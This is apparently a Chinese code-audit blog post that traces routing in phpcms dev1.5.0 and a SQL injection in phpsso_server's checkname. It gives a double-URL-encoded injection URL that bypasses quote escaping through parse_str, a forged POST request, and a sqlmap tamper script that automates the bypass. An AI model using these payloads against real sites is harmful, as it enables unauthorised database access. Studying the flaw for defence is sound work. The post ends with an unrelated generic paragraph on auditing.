phpcms代码审计

phpcms dev1.5.0 sql注入漏洞

最近开始系统的学习代码审计了,审计以下phpcms的sql注入漏洞

环境准备

  • php5.6
  • mysql5.6
  • 项目源码:https://pan.baidu.com/s/1qAbrA3QMwKOJkEYuBdhxvQ 提取码: 6666

phpcms是⼀个⼀分为⼆的cms
目录树

phpcms
├── api/           # 接口文件
├── caches/        # 缓存 包括配置文件
├── phpcms/        # 用于处理前端交互的cms
├── phpsso_server/ # cms 用于与phpcms进行交互
├── statics/       # 静态资源
├── uploadfile/    # 上传文件
├── admin.php
├── api.php
├── crossdomain.xml
├── favicon.ico
├── index.html
├── index.php
├── js.html
├── plugin.php
└── robots.txt

在⼤多数情况下,phpcms和phpsso_server和它俩部署在⼀台主机上。

路由分析

从index.php开始进行路由分析
⼀般⽽⾔,php的mvc都是这样做路由控制的:
定义一个常量,其他路由都只能通过入口页进入。
比如本例中,想要访问phpcms中的其他文件,需要先确定是否已经定义了IN_PHPCMS。
在这里插入图片描述
而IN_PHPCMS的定义在base.php中,也就是说想进入phpcms的其他路由,需要先执行base.php的代码。
在这里插入图片描述

该cms的首页index.php中包含了base.php文件
在这里插入图片描述

既然先执行base.php,那就分析一下base.php

# 用于路由访问控制
define('IN_PHPCMS', true);

define("各种需要用得到的常量",...)

# 关键点
//加载公用函数库  
pc_base::load_sys_func('global'); 
	->_load_func($func); //func 函数库名(在php中,函数名前用_是一种默认的规范,用于表示该方法是私有或者受保护的方法)
		static $funcs = array();  
		if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'functions';  
		$path .= DIRECTORY_SEPARATOR.$func.'.func.php';//得到最终的php文件路径
		//调试得到$path=libs/functions/global.func.php  
		//此处使用md5的目的是哈希散列存储
		$key = md5($path);  
		if (isset($funcs[$key])) return true;  
		if (file_exists(PC_PATH.$path)) {  
		    include PC_PATH.$path;  
		} else {  
		    $funcs[$key] = false;  
		    return false;  
		}  
		$funcs[$key] = true;  
		return true;
//包含global.func.php文件,该文件属于一个工具类

//加载libs/functions/extention.func.php文件
pc_base::load_sys_func('extention');  


pc_base::auto_load_func();
	->_auto_load_func()
		if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'functions'.DIRECTORY_SEPARATOR.'autoload';  
		$path .= DIRECTORY_SEPARATOR.'*.func.php';  
		$auto_funcs = glob(PC_PATH.DIRECTORY_SEPARATOR.$path);
		//glob函数:寻找与pattern匹配的文件路径,只有plugin.func.php
		if(!empty($auto_funcs) && is_array($auto_funcs)) {  
		    foreach($auto_funcs as $func_path) {  
		       include $func_path;  
		    }  
		}
//此处目的://即加载libs/functions/autoload/*.func.php (所有工具类)
//其实只有libs/functions/autoload/plugin.func.php

// 加载配置/caches/configs/system.php 包含各种配置,并返回errorlog的值
pc_base::load_config('system','errorlog') ? set_error_handler('my_error_handler') : error_reporting(E_ERROR | E_WARNING | E_PARSE);

以上代码执行后,接着又对系统进行了一系列配置
在这里插入图片描述

最后执行的代码:(加载配置文件)

// 加载配置system.php 并返回gzip
if(pc_base::load_config('system','gzip') && function_exists('ob_gzhandler')) {
	ob_start('ob_gzhandler');
//ob_start函数简单理解就是:执行ob_gzhandler函数对输出缓冲区进行操作
//ob_gzhandler() 会判定浏览器可以接受哪种类型的编码内容,并返回相应的输出
} else {
	ob_start();
}

返回index.php,执行pc_base::creat_app();
调用栈如下

creat_app()
	->load_sys_class('application')
		->_load_class('application', $path='', $initialize=1)
			//加载libs/classes/application.class.php,即启动类,默认初始化
			//关键代码
if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
			include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
			$name = $classname; //$classname = "application"
if ($my_path =self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.
'.class.php'))//看是否有自己的扩展文件
{
	include $my_path;
	$name = 'MY_'.$classname;
}
if ($initialize) {
	$classes[$key] = new $name; //初始化application类
} else {
	$classes[$key] = true;
}	
	return $classes[$key];

先介绍一下param类,用于处理前端传递的参数

<?php
/**
 *  param.class.php	参数处理类
 */
 
 //基中“m”为模块,“c”为控制器,“a”为事件
 
class param {

	//路由配置
	private $route_config = '';
	
	//通过GET或者POST得到参数m,没有传参时会从/caches/configs/route.php中获取默认值
	public function route_m() {
		$m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');
		if (empty($m)) {
			return $this->route_config['m'];
		} else {
			return $m;
		}
	}

	/**
	 * 获取控制器
	 */
	public function route_c() {
		$c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');
		if (empty($c)) {
			return $this->route_config['c'];
		} else {
			return $c;
		}
	}

	/**
	 * 获取事件
	 */
	public function route_a() {
		$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');
		if (empty($a)) {
			return $this->route_config['a'];
		} else {
			return $a;
		}
	}

?>

application.class.php
可以通过传递参数访问不同的控制器类中的方法
实例化模块对象/控制器类/事件(方法)
即实例化content/index.php->init方法(初始化首页)

class application {
	/**
	 * 构造函数
	 */
	public function __construct() {
		$param = pc_base::load_sys_class('param');//加载并初始化param类(参数处理类)
		//获取模块 == content  管理和操作数据及业务逻辑,与数据库交互
		define('ROUTE_M', $param->route_m());
		//获取控制器 == index 处理用户输入,调用模型并返回相应的视图
		define('ROUTE_C', $param->route_c());
		//获取事件 == init 通过触发和监听事件来响应特定操作。
		define('ROUTE_A', $param->route_a());
		//初始化
		$this->init();
	}
	
	// 初始化
	private function init() {
	//加载控制器并初始化,/modules/content/index.php
		$controller = $this->load_controller();
		if (method_exists($controller, ROUTE_A)) {//控制器类中是否包含方法(init)
			if (preg_match('/^[_]/i', ROUTE_A)) {//禁止访问私有方法
				exit('You are visiting the action is to protect the private action');
			} else {//调用方法,默认调用init方法(用于初始化首页内容)
				call_user_func(array($controller, ROUTE_A));
			}
		} else {
			exit('Action does not exist.');
		}
	}
	
	/**
	 * 加载控制器
	 * @param string $filename
	 * @param string $m
	 * @return obj
	 */
	private function load_controller($filename = '', $m = '') {
		if (empty($filename)) $filename = ROUTE_C;
		if (empty($m)) $m = ROUTE_M;
		$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
		if (file_exists($filepath)) {
			$classname = $filename;
			include $filepath;
			// 是否有自己的扩展文件,即modules/content/MY_index.php
			if ($mypath = pc_base::my_path($filepath)) {
				$classname = 'MY_'.$filename;
				include $mypath;
			}
			return new $classname;
		} else {
			exit('Controller does not exist.');
		}
	}
}

index控制器类
init方法用于加载首页内容
在这里插入图片描述

总结:
在这里插入图片描述

路由分析的目的:
http://192.168.144.142:90/phpcms/index.php?m=special&c=index&a=special&siteid=1
(随便点出来一个页面)解析出这个url是怎么找到路由的,答案就在param类中

业务分析

MVC架构

补充一下mvc架构,便于看懂每个cms的目录结构

  • 模型Model:管理大部分的业务逻辑和所有的数据库逻辑。模型抽象简化了连接和操作数据库的操作。
  • 控制器Controller:负责响应用户请求、准备数据,决定如何展示数据。
  • 视图View:负责数据渲染,通过HTML方式呈现给用户。
    在这里插入图片描述

phpsso_server分析

首先要搞清楚phpcms和phpsso_server的区别与联系:

  • phpcms负责处理前端操作,即我们对网站页面的访问操作,而phpsso_server负责后端操作,包括对数据库的操作。
  • 当有一些和用户权限、用户信息相关的业务发生时,phpcms和phpsso_server会进行通信。
    举个例子
    在这里插入图片描述

直接访问http://ip/index.php时其实访问的是phpcms
也可以直接访问http://ip/phpsso_server/index.php,访问的是phpsso_server
两个cms的入口文件处理方式完全一样,唯一的区别是默认的路由
phpsso_server一共只有两个模块:admin和phpsso模块
由于默认路由为/admin(modules)/index.php->init方法,那么先分析admin模块
在index.php中,主要是进行了访问控制功能

<?php  
defined('IN_PHPCMS') or exit('No permission resources.');  
// 加载admin类但是不进行初始化
pc_base::load_app_class('admin', 'admin', 0);  
  
class index extends admin {  
    private $db, $messagequeue_db;  

    public function __construct() {      
	    //先调用父类的构造函数,父类即admin类
       parent::__construct();  
    }  
      
    public function init() {  
	    //得到用户信息
       $userinfo = $this->get_userinfo();      
       // 加载后台模板
       include $this->admin_tpl('index');  
    }  
  
    public function right() 
}
?>

admin.class.php

<?php  
define('IN_ADMIN', true);  
class admin {  
    //数据库连接  
    private $db;  
    //错误代码  
    private $err_code;  
      
    /**  
     * 构造函数  
     * @param integer $issuper 是否为超级管理员  
     */  
    public function __construct($issuper = 0) {  
    //加载模型admin_model.class.php
    //审计知admin_model类是对admin表进行操作
       $this->db = pc_base::load_model('admin_model');      
       $this->check_admin($issuper);  
       pc_base::load_app_func('global');  
    }  
      
}

再分析phpsso模块,index.php部分代码如下

<?php  
defined('IN_PHPCMS') or exit('No permission resources.');  
pc_base::load_app_class('phpsso', 'phpsso', 0);  
pc_base::load_app_class('messagequeue', 'admin' , 0);  
pc_base::load_app_func('global', 'admin');  
  
class index extends phpsso {  
      
    private $username, $config;  
      
    public function __construct() { 
	//调用phpsso类的构造函数 
       parent::__construct(); 
       // 加载配置
       $this->config = pc_base::load_config('system'); 
       //这里的$this->data数据来源是调用phpsso类构造函数得到的 
       $this->username = isset($this->data['username']) ? $this->data['username'] : '';  
		//对username进行一系列操作,不重要
       if ($this->username && CHARSET != $this->applist[$this->appid]['charset']) {  
          if($this->applist[$this->appid]['charset'] == 'utf-8') {   
             if(is_utf8($this->username)) {  
                $this->username = iconv($this->applist[$this->appid]['charset'], CHARSET, $this->username);  
             }  
          } else {  
             if(!is_utf8($this->username)) {  
                $this->username = iconv($this->applist[$this->appid]['charset'], CHARSET, $this->username);  
             }  
          }  
       }  
    }  
      
}  
?>

phpsso类部分代码

<?php  
//定义入口常量,说明可以直接访问这个页面
define('IN_PHPSSO', true);  
class phpsso {  
    public $db, $settings, $applist, $appid, $data;  

    public function __construct() {  
    //加载member_model类,用于操作member表
       $this->db = pc_base::load_model('member_model');  
       pc_base::load_app_func('global');  
         
       /*获取系统配置*/  
       $this->settings = getcache('settings', 'admin');  
       $this->applist = getcache('applist', 'admin');  
	  
	  //get参数中非m、c、a转为POST数组参数
       if(isset($_GET) && is_array($_GET) && count($_GET) > 0) {  
          foreach($_GET as $k=>$v) {  
             if(!in_array($k, array('m','c','a'))) {  
                $_POST[$k] = $v;  
             }  
          }  
       }  
	//处理参数appid,没有传递appid参数会导致exit
       if(isset($_POST['appid'])) {  
          $this->appid = intval($_POST['appid']);  
       } else {  
          exit('0');  
       }  

	//处理参数data
       if(isset($_POST['data'])) {  
	       //这里会对data进行解密操作
	       //关键点在于parse_str(字符串,解析后保存变量)存在变量覆盖漏洞
	       //sys_auth(数据,加解密,密钥)
parse_str(
sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);  
          print_r($this->data);  
          if(get_magic_quotes_gpc()) {  
             $this->data = new_stripslashes($this->data);  
          }  
                  
          if(!is_array($this->data)) {  
             exit('0');  
          }  
       } else {  
          exit('0');  
       }  
         
       if(isset($GLOBALS['HTTP_RAW_POST_DATA'])) {  
          $this->data['avatardata'] = $GLOBALS['HTTP_RAW_POST_DATA'];  
          if($this->applist[$this->appid]['authkey'] != $this->data['ps_auth_key']) {  
             exit('0');  
          }  
       }  
  
    }  
  
}

漏洞成因分析

但是我们没有authkey(install时默认生成的随机字符串),因此无法构造data数据
利用思路:
程序本身肯定是存有authkey的,如果我们和phpcms通信,然后通过phpcms对数据进行加密后与phpsso_server进行通信,是不是就可以利用变量覆盖漏洞了?

与phpsso通信

通信:client客户端->phpcms->phpsso
也就是说,如果找到phpcms中的一个方法可以发起请求,由于phpcms知道authkey,那么phpcms会对数据进行encode,然后再去对phpsso发起请求。

php中发起http请求的方式

  • fsockopen(sockets)
  • curl
  • HttpRequest类(pecl扩展)
  • Client类(Guzzle库)
  • file_get_contents(用的比较少)
  • fopen(也不常用)`

全局查找curl_init()和curl_exec()
这三个地方代码基本上一致,都是为了请求第三方授权,url是写死的,只能作罢
在这里插入图片描述

fsockopen使用

进行http请求时,传入的hostname是www.example.com或ip,端口选择80/443

$host = 'www.example.com'; // 主机名
$port = 80;                // 端口号
$path = '/path/to/resource'; // 请求的路径
// 初始化错误变量
$errno = 0;
$errstr = '';
// 创建连接
$fp = fsockopen ($host, $port, $errno, $errstr, 30);
if (!$fp) {
    echo "无法连接: $errstr ($errno)\n";
} else {
    // 构造请求头
    $out = "GET $path HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    // 发送请求
    fwrite ($fp, $out);
    // 读取响应
    while (!feof ($fp)) {
        echo fgets ($fp, 128);
    }
    fclose ($fp); // 关闭连接
}

利用

限定范围查询fsockopen(hostname,port,errno,errstr,timeout)方法
需要找到参数可控,并且可以发起http请求的函数
在这里插入图片描述

存在三个可以利用的函数

  • modules/member/classes/pay_abstract.class.php中的get_verify方法
  • modules/sms/classes/smsapi.class.php的_post方法
  • modules/member/classes/client.class.php的_ps_post方法
    在前边的路由分析中知,我们可以直接调用的方法应该是modules/m/c.php->a方法
    因此需要使用find usage功能往前找到可以调用的方法
  • get_verify找不到可利用的点
  • _post方法可以通过modules/sms/sms.php中的sms_sent方法利用,如果没有开启短信功能则不能利用
  • _ps_post方法可以通过modules/sms/index.php中的public_checkname_ajax->ps_checkname(不止一个)->_ps_sent->_ps_post,更重要的是,_ps_sent方法默认的通信对象就是phpsso_server,并且在auth_data函数中对data进行了加密
    在这里插入图片描述

在这里插入图片描述

public_checkname_ajax方法中走到ps_checkname应该是比较容易的
在这里插入图片描述

到此为止,可以构造url进行测试
http://192.168.144.142:90/phpcms/index.php?m=member&c=index&a=public_checkname_ajax&username=hello
由于我环境问题,一直无法调试本地回环的信息,因此直接构造请求包进行访问

http://192.168.144.142:90/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=checkname

post数据
v=1&appid=1&data=07f6VAkAA1MGUQkDCVYBUQ8EDlVUB1oHBwBTUwJMFVRKXFUJXA1bBloNVg
data中的数据即为username=hello

补充一个调试的方法,可以使用tcpdump指令
tcpdump -i lo port 90 -nne -A

继续看这段代码之后干了什么事情,跟到phpserver_sso的checkname中(部分代码)

public function checkname($is_return=0) {  
    if(empty($this->username)) {  
       if ($is_return) {  
          return -1;  
       } else {  
          exit('-1');  
       }  
    }  
    //非法用户名判断  
    $denyusername = $this->settings['denyusername'];  
    if(is_array($denyusername)) {  
    }  
      
	// 这里有数据库查询的操作,跟进去
    $r = $this->db->get_one(array('username'=>$this->username));  
    if ($is_return) {  
       return !empty($r) ? -1 : 1;  
    } else {  
       echo !empty($r) ? -1 : 1;  
       exit;  
    }  
}

get_one函数

final public function get_one($where = '', $data = '*', $order = '', $group = '') {  
    if (is_array($where)) 
	    //sqls方法用于生成sql语句
	    $where = $this->sqls($where);  
    return $this->db->get_one($data, $this->table_name, $where, $order, $group);  
}

// sql语句是通过拼接得到的,并没有进行预编译
final public function sqls($where, $font = ' AND ') {  
    if (is_array($where)) {  
       $sql = '';  
       foreach ($where as $key=>$val) {  
          $sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";  
       }  
       return $sql;  
    } else {  
       return $where;  
    }  
}

继续跟进mysql.class.php中的get_one,可以很明显的看出来整个sql语句都是字符串拼接得到的

public function get_one($data, $table, $where = '', $order = '', $group = '') {  
    $where = $where == '' ? '' : ' WHERE '.$where;  
    $order = $order == '' ? '' : ' ORDER BY '.$order;  
    $group = $group == '' ? '' : ' GROUP BY '.$group;  
    $limit = ' LIMIT 1';  
    $field = explode( ',', $data);  
    array_walk($field, array($this, 'add_special_char'));  
    $data = implode(',', $field);  
	  //拼接得到完整的sql语句
    $sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;  
    //执行sql语句
    $this->execute($sql);  
    $res = $this->fetch_next();  
    $this->free_result();  
    return $res;  
}

完美的契合sql注入的条件

  • 可以执行sql语句
  • 参数内容可控,并且没有经过预编译
    在这里插入图片描述
绕过

这里还是有个问题,程序中对用户名的单引号进行了转义处理,因此当使用checkname时发现实际上的sql语句如下
在这里插入图片描述

需要尝试其他方法或者进行一个绕过
那么首先要知道单引号是在哪里被转义的?
对phpsso_server发送请求后,data首先经过sys_auth解码,此时数据中已经加入了转义符号,因此说明特殊字符被转义是在phpcms中进行的
在这里插入图片描述

其实在加载并初始化param类时就已经对数据进行了转义处理
在这里插入图片描述

此后在这里又对\和’都做了转义处理,导致最终出现了hello\\\'
在这里插入图片描述

但是这两个地方基本上是不能绕过的

parse_str特性
  1. 变量覆盖
  2. 解析url编码
    在这里插入图片描述
构造payload

由于parse_str解析url编码的特性,那么可以使传入的data值包含url编码,然后通过parse_str处理后得到真正的payload。
如当我们传入hello%2527时,phpcms首先会将其解析为hello%27(不会被转义),然后传输给phpsso_server,phpsso_server会通过parse_str将之解析为hello'
也就是说,当我们需要传入注入的数据中包含特殊字符,都可以通过这个方法进行绕过
"可以变为%2522 ,<可以变为%253c
http://ip/phpcms/index.php?m=member&c=index&a=public_checkname_ajax&username=hello%2527and%20(select%20version())%23
另外还有一个需要注意的点,如果是使用hackbar发起请求的话,hackbar也会对url进行一次url解码,因此最好是使用bp发包。

编写sqlmap脚本

kali自带的sqlmap脚本位置在/usr/share/sqlmap/tamper
自己编写脚本时可以参照该模板

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    '''
    Description of your tamper script
    '''
    
    retVal = payload.replace("'", "%2527").replace('"',"%2522").replace("<","%253c") if payload else payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal

使用命令进行注入
sqlmap -u "url" -p "参数名" --tamper="xxx.py"
注入结果
在这里插入图片描述

对于Mac系统下的PHPcms的审计,你可以按照以下步骤进行: 1. 确认版本:首先确定你要审计的PHPcms的版本号。不同的版本可能存在不同的漏洞和安全问题。 2. 漏洞研究:查找已知的漏洞和安全问题,尤其关注最近公开的漏洞报告和安全公告。这些信息通常可以在PHPcms的官方网站、安全论坛、专业安全网站或漏洞数据库上找到。 3. 代码分析:仔细分析PHPcms的源代码,尤其是与用户输入和数据库交互相关的部分。寻找潜在的安全漏洞,如SQL注入、跨站脚本攻击(XSS)、文件包含、远程代码执行等。 4. 配置审查:检查PHPcms的配置文件和服务器环境设置,确保安全设置正确。例如,禁用不必要的功能、限制文件上传类型和大小、设置严格的文件权限等。 5. 安全测试:使用合适的工具进行安全测试,如Web应用程序扫描器、漏洞扫描器等。这些工具可以帮助你自动发现一些已知的安全问题。 6. 补丁和更新:确保PHPcms和相关组件都是最新版本,并及时应用官方发布的安全补丁和更新。 7. 日志监控:配置合适的日志记录和监控机制,以便及时发现异常事件和攻击行为。 请注意,以上只是一般的审计步骤,具体的审计方法和工具选择可能会因PHPcms版本、具体需求和环境而有所不同。建议在进行审计之前,先了解相关的安全知识,并遵循合理的安全审计流程。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值